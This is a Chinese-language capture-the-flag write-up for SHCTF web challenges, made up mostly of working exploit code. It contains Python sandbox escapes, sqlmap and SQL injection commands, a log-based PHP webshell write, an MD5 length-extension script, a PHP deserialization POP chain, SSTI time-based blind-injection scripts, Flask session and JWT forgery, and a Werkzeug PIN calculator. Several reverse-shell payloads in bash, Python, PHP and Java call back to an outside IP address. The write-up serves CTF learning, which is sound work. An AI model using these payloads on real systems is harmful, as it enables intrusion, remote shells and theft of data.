复现
有些题目找不到题解,暂时没放
0进制计算器 pro max python沙盒逃逸
def safe_executer(self, expression):
global audit_enabled
output = ""
def exec_code(code):
outputIO = StringIO()
with redirect_stdout(outputIO):
exec(code, {
"__builtins__": None,
"print": print
}, None)
output = outputIO.getvalue()
return output
for var, value in self.variables.items():
expression = expression.replace(var, str(value))
if self.clever_checker(expression) == False:
return("大傻春 你要干什么!")
code = compile(expression, "<sandbox>", "exec")
# 启用审计
audit_enabled = True
try:
output = exec_code(code)
except Exception as e:
print(f"执行出错: {e}")
finally:
# 关闭审计
audit_enabled = False
return output
多了很多过滤,直接对opcode进行了检查 思路是通过栈帧逃逸,获取到全局变量表,将以上三个字典设置为空即可 Python利用栈帧沙箱逃逸
这里也要闭合一下print
result = self.safe_executer('print(' + expression + ')')
第一步的payload
payload3 = '''1)
def orxiain():
def scq():
yield scq.gi_frame.f_back
scq = scq()
frame = [x for x in scq][0]
frame.f_back.f_back.f_back.f_globals["dangerous_operations"] = []
frame.f_back.f_back.f_back.f_globals["dangerous_opcodes"] = []
frame.f_back.f_back.f_back.f_globals["dangerous_strings"] = []
orxiain()
print(0
'''
源码把builtins置空,所以命令执行也需要通过栈帧逃逸获取到沙箱外的builtins 写成这样了 python 沙箱逃逸与SSTI ~ Misaki’s Blog
payload3 = '''1)
def orxiain():
def scq():
yield scq.gi_frame.f_back
scq = scq()
frame = [x for x in scq][0]
builtin = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
print(builtin.__dict__['__import__']('os').system("bash -c 'sh -i >& /dev/tcp/139.159.148.68/15001 0>&1'"))
orxiain()
print(0
'''
本地开环境试了几次命令执行,发现都显示在flask的shell上了,不过成功执行
弹弹弹
还是逃逸打少了,感觉还是蛮简单的😭😭😭,比赛的最后一周没啥时间看
exp
import requests
payload0 = ''
payload1 = ''
OneShot = "+ord('d')-ord('c')"
BaseShot = "ord('d')-ord('c')"
char_ = ''
def append_string(base, char, count):
return base + char * count
def Transform(StringToForm):
global payload0, payload1, char_
for char in StringToForm:
payload0 = append_string(BaseShot, OneShot, ord(char)-1)
payload1 = payload1 + "+" +"chr(" + payload0 + ")"
num = eval(payload0)
char_ += chr(num)
# print(char_)
return payload1[1::]
# payload3 = 'print(globals())'
# payload3 = 'curl ip:15001'
# payload3 = '''
# __import__('os').system("bash -c 'sh -i >& /dev/tcp/139.159.148.68/15001 0>&1'")
# '''
# payload3 = '''1)
# def orxiain():
# def scq():
# yield scq.gi_frame.f_back
# scq = scq()
# frame = [x for x in scq][0]
# frame.f_back.f_back.f_back.f_globals["dangerous_operations"] = []
# frame.f_back.f_back.f_back.f_globals["dangerous_opcodes"] = []
# frame.f_back.f_back.f_back.f_globals["dangerous_strings"] = []
# orxiain()
# print(0
# '''
payload3 = '''1)
def orxiain():
def scq():
yield scq.gi_frame.f_back
scq = scq()
frame = [x for x in scq][0]
builtin = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
print(builtin.__dict__['__import__']('os').system("bash -c 'sh -i >& /dev/tcp/ip/15001 0>&1'"))
orxiain()
print(0
'''
url = "http://210.44.150.15:33258/execute"
# 'code': "c=" + Transform(payload3) + ";cdhor(c);"
data = {
# 'code': "cdhor(" + Transform(payload3) + ");"
'code': "c=" + Transform(payload3) + ";cdhor(c);"
}
headers = {
"Content-Type": "application/json",
"Host": "210.44.150.15:33258"
}
response = requests.post(url, json=data, headers=headers)
print(f"[+] Content : {response.text}")
# print(eval(Transform(payload3)))
可恶的骗子 SQL日志写入
拼接图像的url,用插件改UA 单引号报错,sql注入属于是
sqlmap嗦下
sqlmap -u http://210.44.150.15:23788/Xianyu_goods/index.php\?ClickID\=1 --user-agent="Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16" -dbs
获取到数据库
sqlmap -u http://210.44.150.15:23788/Xianyu_goods/index.php\?ClickID\=1 --user-agent="Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16" -D root -T admin_user --dump
使用 root / shctf_xianyu_password
登录
不能直接写马,尝试用日志写
Set global general_log = on;
Set global general_log_file = '/var/www/html/Xianyu_goods/go.php';
select '<?php system("cat /flag"); ?>
之后访问go即可
MD5 GOD! 哈希长度扩展攻击
从/user
路由可以获取所有用户,并返回签状态,当所有用户签到完成时即可拿到flag
关键时登录的这个
def check_sign(sign, username, msg, salt):
if sign == md5(salt + msg + username):
return True
return False
shellfeel/hash-ext-attack: 哈希长度扩展攻击利用脚本,免去了hashpump需要编译的烦恼
官exp
import hashlib
import math
from typing import Any, Dict, List
rotate_amounts = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]
constants = [int(abs(math.sin(i + 1)) * 2 ** 32) & 0xFFFFFFFF for i in range(64)]
functions = 16 * [lambda b, c, d: (b & c) | (~b & d)] + \
16 * [lambda b, c, d: (d & b) | (~d & c)] + \
16 * [lambda b, c, d: b ^ c ^ d] + \
16 * [lambda b, c, d: c ^ (b | ~d)]
index_functions = 16 * [lambda i: i] + \
16 * [lambda i: (5 * i + 1) % 16] + \
16 * [lambda i: (3 * i + 5) % 16] + \
16 * [lambda i: (7 * i) % 16]
def get_init_values(A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> List[int]:
return [A, B, C, D]
def left_rotate(x, amount):
x &= 0xFFFFFFFF
return ((x << amount) | (x >> (32 - amount))) & 0xFFFFFFFF
def padding_message(msg: bytes) -> bytes:
"""
在MD5算法中,首先需要对输入信息进行填充,使其位长对512求余的结果等于448,并且填充必须进行,即使其位长对512求余的结果等于448。
因此,信息的位长(Bits Length)将被扩展至N*512+448,N为一个非负整数,N可以是零。
填充的方法如下:
1) 在信息的后面填充一个1和无数个0,直到满足上面的条件时才停止用0对信息的填充。
2) 在这个结果后面附加一个以64位二进制表示的填充前信息长度(单位为Bit),如果二进制表示的填充前信息长度超过64位,则取低64位。
经过这两步的处理,信息的位长=N*512+448+64=(N+1)*512,即长度恰好是512的整数倍。这样做的原因是为满足后面处理中对信息长度的要求。
"""
orig_len_in_bits = (8 * len(msg)) & 0xffffffffffffffff
msg += bytes([0x80])
while len(msg) % 64 != 56:
msg += bytes([0x00])
msg += orig_len_in_bits.to_bytes(8, byteorder='little')
return msg
def md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> int:
message = padding_message(message)
hash_pieces = get_init_values(A, B, C, D)[:]
for chunk_ofst in range(0, len(message), 64):
a, b, c, d = hash_pieces
chunk = message[chunk_ofst:chunk_ofst + 64]
for i in range(64):
f = functions[i](b, c, d)
g = index_functions[i](i)
to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
a, b, c, d = d, new_b, b, c
for i, val in enumerate([a, b, c, d]):
hash_pieces[i] += val
hash_pieces[i] &= 0xFFFFFFFF
return sum(x << (32 * i) for i, x in enumerate(hash_pieces))
def md5_to_hex(digest: int) -> str:
raw = digest.to_bytes(16, byteorder='little')
return '{:032x}'.format(int.from_bytes(raw, byteorder='big'))
def get_md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> str:
return md5_to_hex(md5(message, A, B, C, D))
def md5_attack(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe,
D: int = 0x10325476) -> int:
hash_pieces = get_init_values(A, B, C, D)[:]
for chunk_ofst in range(0, len(message), 64):
a, b, c, d = hash_pieces
chunk = message[chunk_ofst:chunk_ofst + 64]
for i in range(64):
f = functions[i](b, c, d)
g = index_functions[i](i)
to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
a, b, c, d = d, new_b, b, c
for i, val in enumerate([a, b, c, d]):
hash_pieces[i] += val
hash_pieces[i] &= 0xFFFFFFFF
return sum(x << (32 * i) for i, x in enumerate(hash_pieces))
def get_init_values_from_hash_str(real_hash: str) -> List[int]:
"""
Args:
real_hash: 真实的hash结算结果
Returns: 哈希初始化值[A, B, C, D]
"""
str_list: List[str] = [real_hash[i * 8:(i + 1) * 8] for i in range(4)]
# 先按照小端字节序将十六进制字符串转换成整数,然后按照大端字节序重新读取这个数字
return [int.from_bytes(int('0x' + s, 16).to_bytes(4, byteorder='little'), byteorder='big') for s in str_list]
def get_md5_attack_materials(origin_msg: bytes, key_len: int, real_hash: str, append_data: bytes) -> Dict[str, Any]:
"""
Args:
origin_msg: 原始的消息字节流
key_len: 原始密钥(盐)的长度
real_hash: 计算出的真实的hash值
append_data: 需要添加的攻击数据
Returns: 发起攻击需要的物料信息
{
'attack_fake_msg': bytes([...]),
'attack_hash_value': str(a1b2c3d4...)
}
"""
init_values = get_init_values_from_hash_str(real_hash)
# print(['{:08x}'.format(x) for x in init_values])
# 只知道key的长度,不知道key的具体内容时,任意填充key的内容
fake_key: bytes = bytes([0xff for _ in range(key_len)])
# 计算出加了append_data后的真实填充数据
finally_padded_attack_data = padding_message(padding_message(fake_key + origin_msg) + append_data)
# 攻击者提前计算添加了攻击数据的哈希
attack_hash_value = md5_to_hex(md5_attack(finally_padded_attack_data[len(padding_message(fake_key + origin_msg)):],
A=init_values[0],
B=init_values[1],
C=init_values[2],
D=init_values[3]))
fake_padding_data = padding_message(fake_key + origin_msg)[len(fake_key + origin_msg):]
attack_fake_msg = origin_msg + fake_padding_data + append_data
return {'attack_fake_msg': attack_fake_msg, 'attack_hash_value': attack_hash_value}
from flask.sessions import SecureCookieSessionInterface
import requests, json, time
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
def session_decode(session_cookie_value, secret_key):
""" Decode a Flask cookie """
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
def session_encode(session_cookie_structure, secret_key):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
# session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
def req_index(url, cookie):
# headers = {"Cookie": "session=" + cookie}
cookies = {"session":cookie}
r = requests.get(url, cookies=cookies).text
# print(r)
if '签到成功' not in r:
# print(cookie)
time.sleep(1)
req_index(url, cookie)
# print(r)
def req_user(url):
return json.loads(requests.get(url).text)
def req_login(url):
data = {"username":"student", "password":"student"}
cookie = requests.post(url, data).headers["Set-Cookie"][8:].split(';')[0]
# print(cookie)
return cookie
def hash_Attack(md5_value, key_len, data, attack_data):
attack_materials = get_md5_attack_materials(data, key_len, md5_value.decode(), attack_data)
# print(data)
res = {"username":attack_data, "msg":attack_materials['attack_fake_msg'][:-len(attack_data)], "sign":attack_materials['attack_hash_value'].encode()}
return res
if __name__ == '__main__':
url = "http://210.44.150.15:47666/"
cookie = req_login(url+'login')
users = req_user(url+'users')
secret_key = "Th1s_is_5ecr3t_k3y"
res = session_decode(cookie, secret_key)
for user in users:
if users[user] == 0:
res = hash_Attack(res["sign"], 16, res["msg"]+res["username"], user.encode())
res2 = session_encode(res, secret_key)
# time.sleep(1)
r = req_index(url, res2)
其它的题解
因为都比较签到所以放在后面了
单身十八年的手速
要点按钮 用控制台获取到按钮,并用for
循环达到重复请求的效果
var button = document.getElementById('myButton');
for (var i = 0; i < 520; i++) {
button.click();
setTimeout(function() {
}, 100);
}
1zflask
提示robots.txt
召见app.py
源码
@app.route('/api')
def api():
cmd = request.args.get('SSHCTFF', 'ls /')
result = os.popen(cmd).read()
return result
ez_gittt
扫目录发现.git
泄露
用Githack
下载到本地审计
查看git log
发现有Add_flag
的版本,用git reset
切换版本
用git cat-file
读取flag文件
通过git ls-files --stage | grep flag
读取flag文件哈希值git cat-file -p 6398e2b2ee205a45c1a4aed6cc6fb88a78f14cf0
读取
ai
好多比赛都有这种
第一个{}中的字符利用正则进行匹配,帮帮主人吧,比如是这样 text=“shctf{
蛐蛐?蛐蛐
审计源码
strrev用%00
绕过
post方法的ququ用;
闭合后绕过
jvav
发现没有任何过滤
生成反弹shell
public class demo {
public static void main(String[] args) {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/ipipipip/15001 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
[[Media/7b26f551067e9c7eb42526a6ddf3d544_MD5.jpeg|Open: QQ_1727888275012.png]]
poppopop
简单的pop链SHCTF.__invoke() <- C.flag() -< F.__toString() <- T.__destruct()
读取目录
http://entry.shc.tf:29983?data=TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czo0OiJscyAvIjt9fX19
读flag
http://entry.shc.tf:29983?data=TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czoxMToiY2F0IC9mbGxsYWciO319fX0=
完整代码
<?php
class SH {
public static $Web = true;
public static $SHCTF = true;
}
class C {
public $p;
public function flag()
{
($this->p)();
}
}
class T{
public $n;
public function __destruct()
{
SH::$Web = true;
echo $this->n;
}
}
class F {
public $o;
public function __toString()
{
SH::$SHCTF = true;
$this->o->flag();
return "其实。。。。,";
}
}
class SHCTF {
public $isyou;
public $flag;
public function __invoke()
{
if (SH::$Web) {
($this->isyou)($this->flag);
echo "小丑竟是我自己呜呜呜~";
} else {
echo "小丑别看了!";
}
}
}
if (isset($_GET['data'])) {
// highlight_file(__FILE__);
unserialize(base64_decode($_GET['data']));
} else {
// highlight_file(__FILE__);
// echo "小丑离我远点!!!";
}
//SHCTF.__invoke() <- C.flag() -< F.__toString() <- T.__destruct()
$aaa = new T();
$aaa->n = new F();
$aaa->n->o = new C();
$aaa->n->o->p = new SHCTF();
$aaa->n->o->p->isyou='system';
$aaa->n->o->p->flag="cat /flllag";
echo base64_encode(serialize($aaa));
echo "\n";
拜师之旅①
这里png的文件头没有加,加上
宽高也被改了
修改一下 ]]
好可爱!!
MD5 Master
参考 https://blog.csdn.net/shuaicenglou3032/article/details/118197904 生成url编码过后的二进制文本 然后用php读取二进制并url编码输出出来 发包复制字符串时不要额外复制%21
就是!
<?php
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
$a = urlencode(readmyfile("H:\\tOOLS\哈希碰撞\\fastcoll_v1.0.0.5.exe\\a_msg1.txt"));
$b = urlencode(readmyfile("H:\\tOOLS\哈希碰撞\\fastcoll_v1.0.0.5.exe\\a_msg2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo "[*] a = ".$a."\n";
}
if(urldecode($a)!=urldecode($b)){
echo "[*] b = ".$b;
}
[Week2]guess_the_number
源码提示在http://210.44.150.15:26405/s0urce
获得源码
下载审计,发现
范围算小,因为已知第一个随机数,所以可以爆破种子,脚本:
import random
def find_seed(first_num, seed_min, seed_max):
for seed in range(seed_min, seed_max + 1):
random.seed(seed)
generated_first_num = random.randint(1000000000, 9999999999)
if generated_first_num == first_num:
return seed
return None
known_first_num = 3039690326
seed_min = 1000000
seed_max = 9999999
seed = find_seed(known_first_num, seed_min, seed_max)
if seed is not None:
print(f"找到匹配的种子: {seed}")
else:
print("未找到匹配的种子")
得到找到匹配的种子: 7795234
import random
global seed, first_num, second_num
# seed = random.randint(1000000,9999999)
seed = 7795234
random.seed(seed)
first_num = random.randint(1000000000,9999999999)
second_num = random.randint(1000000000,9999999999)
print ("FIRST:"+str(first_num)+"\n")
print ("FIRST:"+str(second_num)+"\n")
得到第二个随机数
[Week2]自助查询
判断回显
读取数据库
1") union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()#
爆表
1") union select 1,group_concat(column_name)from information_schema.columns where table_name='flag'#
读字段,被耍了😭😭😭😭😭 注释?哪儿有,找不见,尝试sql写入文件
写个phpinfo
看看
1") union select 1,"\<?php phpinfo()\;>" into dumpfile "/var/www/html/or4.php"#
在phpinfo里找到flag
SHCTF{s3lf_s3RVlcE_Se4rcH_674311b4aac1}
[Week2]入侵者禁入
发现有源码,是个flask,目测flask session伪造,而且源码中给了app.secret_key = '0day_joker'
尝试伪造
eyJyb2xlIjp7ImZsYWciOiJhZG1pbiIsImlzX2FkbWluIjoxfX0.Zwo9rA.Xv55fHJh5ek0FMKF_Hq1aGwp66U
得到
接下来是如何获得flag,发现判断用户身份后会渲染render_template_string(message)
,大概存在SSTI
修改成
@app.route('/')
def index():
message = request.args.get('message', 'Default message')
return render_template_string(message)
雀氏存在{{7*7}}
返回49
python flask_session_cookie_manager3.py encode -s '0day_joker' -t "{\"role\"
:{\"flag\":\"{{g.pop.__globals__.__builtins__.__import__('os').popen('cat /f*').read()}}\",\"is_admin\":1}}"
获得
session=.eJwlikEKwyAQAL9S9qIJJSFXP7NsGpWFjStqT-Lfa8ltZpgORcWD6xCEIjjoPW5Z84YYRU-Sijj5_LI0To_wnbU0RGu0muV_-2TNh9prD-sMxdNllzHgDVyRrpsTuGOMHw3CJP
k.ZwpkeA.RCyeFepjuG-CgIoiWuZK44qe4h0
[Week2]登录验证
题目提示爆破 用hashcat
开干
.\hashcat.exe -a 0 -m 16500 "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mjg3OTYxOTI
sImlhdCI6MTcyODc4ODk5MiwibmJmIjoxNzI4Nzg4OTkyLCJyb2xlIjoidXNlciJ9.4idcHiZGgfH-PUA6S_yDvLjGVt6yrfwXlVyzQ7YwqoI" "H:\\tOOL
S\\jwt_tool\\password.txt"
得到222333
伪造admin
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE4Mjg5MDc2NDMsImlhdCI6MTcyODkwMDQ0MywibmJmIjoxNzI4OTAwNDQzLCJyb2xlIjoiYWRtaW4ifQ.10_dG9d0z5bqQSPGPMV9aWhN1nlYJ0-Qcm3s_0sluQk
密码这里卡好久,最后才发现是弱密码()()
小小cms
下载了源码得到默认账号密码yzmcms / yzmcms
看了一圈没什么有用的 直接搜漏送,发现支付模块有个rce curl了一下发现能出网,直接反弹shell
POST /pay/index/pay_callback HTTP/1.1
Host: 210.44.150.15:29469
Cookie: ;XDEBUG_SESSION=19079
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
out_trade_no[0]=eq&out_trade_no[1]=php+-r+%27%24sock%3Dfsockopen%28%22139.159.148.68%22%2C15001%29%3Bshell_exec%28%22sh+%3C%263+%3E%263+2%3E%263%22%29%3B%27&out_trade_no[2]=exec
love_flask
SSTI时间盲注,给了源码 脚本走起
首先找到可用的模块
import requests
import time
from urllib.parse import quote
# 转义符 \ 用于解决双引号 "" 闭合问题
PAYLOAD_LAST = ".__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}"
# url = input("请输入 URL:")
url = "http://210.44.150.15:30952/namelist"
# url = 'http://127.0.0.1:5000/namelist'
# POST 参数可以抓包或查看源代码
# request_parameter = input("请输入 POST 请求参数:")
request_parameter = "name"
can = []
for i in range(500):
# 发送请求并记录开始时间
start_time = time.time()
data = {request_parameter: " {{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}} "}
payload = "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}"
# post data 也可以改成这样,原因见{{}}过滤的绕过方法
# {"name":"{%print(().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)'))%}"}
payload = "?"+request_parameter+"="+quote(payload)
url2 = url + payload
response = requests.get(url2)
end_time = time.time()
# 计算响应时间
response_time = end_time - start_time
# 如果响应时间大于 3s ,则绿色字体输出在控制台
print (url2)
if response_time >= 3:
print("\033[32m bingo: "+str(i)+"\033[0m",end="\t")
can.append(i)
# 如果响应时间小于 3s ,则红色字体输出在控制台,一般建议注释掉错误输出,因为这会降低爆破速度
else:
print("\033[31mnonono: "+str(i)+"\033[0m",end="\t")
print(can)
获取flag长度
import requests
import time
from urllib.parse import quote
# url = input("请输入 URL:")
url = "http://210.44.150.15:30952/namelist"
# request_parameter = input("请输入 POST 请求参数:")
request_parameter = "name"
for len in range(1, 60):
start_time = time.time()
data = { request_parameter:"{%set flag=().__class__.__base__.__subclasses__()[281].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{% set l=flag|length %}{%if l=="+str(len)+"%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}{%endif%}" }
data2 = "{%set flag=().__class__.__base__.__subclasses__()[281].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat /f*\").read()')%}{% set l=flag|length %}{%if l=="+str(len)+"%}{{().__class__.__base__.__subclasses__()[281].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}{%endif%}"
url2 = url + "?" + request_parameter + "=" + quote(data2)
response = requests.get(url2)
print(response.text)
end_time = time.time()
# 计算响应时间
response_time = end_time - start_time
if response_time >= 3:
print("\033[32m" + str(len) + "\033[0m",end="\t")
else:
print("\033[31m" + str(len) + "\033[0m", end="\t")
# {{g.pop.__globals__.__builtins__.__import__('os').popen('').read()}}
爆破flag
from urllib.parse import quote
import requests
import time
# url = input("请输入 URL:")
url = "http://210.44.150.15:40707/namelist"
# request_parameter = input("请输入 POST 请求参数:")
request_parameter = "name"
cs = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
flag = ""
# range() 参数为 脚本2 得到的 flag 长度
for i in range(45):
low = 0
high = len(cs)
while low<high:
index = low + (high - low) // 2
start_time = time.time()
# request_parameter 为 post 传入数据的参数名,根据实际情况输入
data = { request_parameter:"{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{%if flag["+str(i)+"]=='"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%elif flag["+str(i)+"]>'"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{%endif%}" }
payload = "{%set flag=().__class__.__base__.__subclasses__()[281].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat /flag\").read()')%}{%if flag["+str(i)+"]=='"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[281].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%elif flag["+str(i)+"]>'"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[281].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{%endif%}"
url2 = url + "?"+request_parameter+"="+quote(payload)
response = requests.get(url2)
print(response.text)
end_time = time.time()
# 计算响应时间
response_time = end_time - start_time
if response_time >=2 and response_time<=4:
flag+=cs[index]
print(cs[index],end='\t')
low = high
elif response_time>4:
low = index+1
else:
high = index
print("\n"+flag)
顰
随便输入什么得到报错
发现app.py
目录泄露,可以尝试计算pin 访问/console
路由报了400错误 查看官方文档 发现对可信任主机名做了限制 所以修改host进行请求 本地起一个flask服务查看pin码认证地址 命令执行:
现在可以尝试计算pin:
import hashlib
from itertools import chain
probably_public_bits = [
'root' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2328382751756', # /sys/class/net/eth0/address 十进制
# 'e2a9f272-7959-44cc-86ce-6cfd758857a79cc8dd5d2f15676d3d6cd3ded677d17ebb07421391e4ffe0d22b5daab56494fa'
'd45a88e1-3fe4-4156-9e59-3864587b7c87'
# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得到115-134-478
得到cookie: 反弹shell:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("139.159.148.68",15001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
拿到shell
hacked_website
有登录界面 找马的同时跑个弱密码 得到qwer1234
发现可以修改模板??? 朴实无华的一句话 SHCTF{7df69b38-32cf-45e7-b640-6fd718a940a7}
0进制计算器
允许的字符allow_chr = '0cdhor+-*/=()"\'; '
很快啊!发现可以组chr和ord这两个函数 又发现用cdhor
包住的话就可以输出内容
可以通过这个eval实现命令执行 反正有源码,发现执行命令的地方,接下来就是使用chr搭配ord来组合payload 还需要解释的是这里赋值的时候值会到eval
函数里,以此实现命令执行 这里d-c获得1,然后重复payload一个字符次数的加加加到指定字符来实现绕过
import requests
payload0 = ''
payload1 = ''
OneShot = "+ord('d')-ord('c')"
BaseShot = "ord('d')-ord('c')"
char_ = ''
def append_string(base, char, count):
return base + char * count
def Transform(StringToForm):
global payload0, payload1, char_
for char in StringToForm:
payload0 = append_string(BaseShot, OneShot, ord(char)-1)
payload1 = payload1 + "+" +"chr(" + payload0 + ")"
num = eval(payload0)
char_ += chr(num)
# print(char_)
return payload1[1::]
# payload3 = 'print(globals())'
# payload3 = 'curl 139.159.148.68:15001'
payload3 = '''
__import__('os').system("bash -c 'sh -i >& /dev/tcp/139.159.148.68/15001 0>&1'")
'''
url = "http://210.44.150.15:33494/execute"
# 'code': "c=" + Transform(payload3) + ";cdhor(c);"
data = {
# 'code': "cdhor(" + Transform(payload3) + ");"
'code': "c=" + Transform(payload3) + ";cdhor(c);"
}
headers = {
"Content-Type": "application/json",
"Host": "210.44.150.15:33494"
}
response = requests.post(url, json=data, headers=headers)
print(f"[+] Content : {response.text}")
# print(eval(Transform(payload3)))
搞了好久反弹shell,很抽象的成功了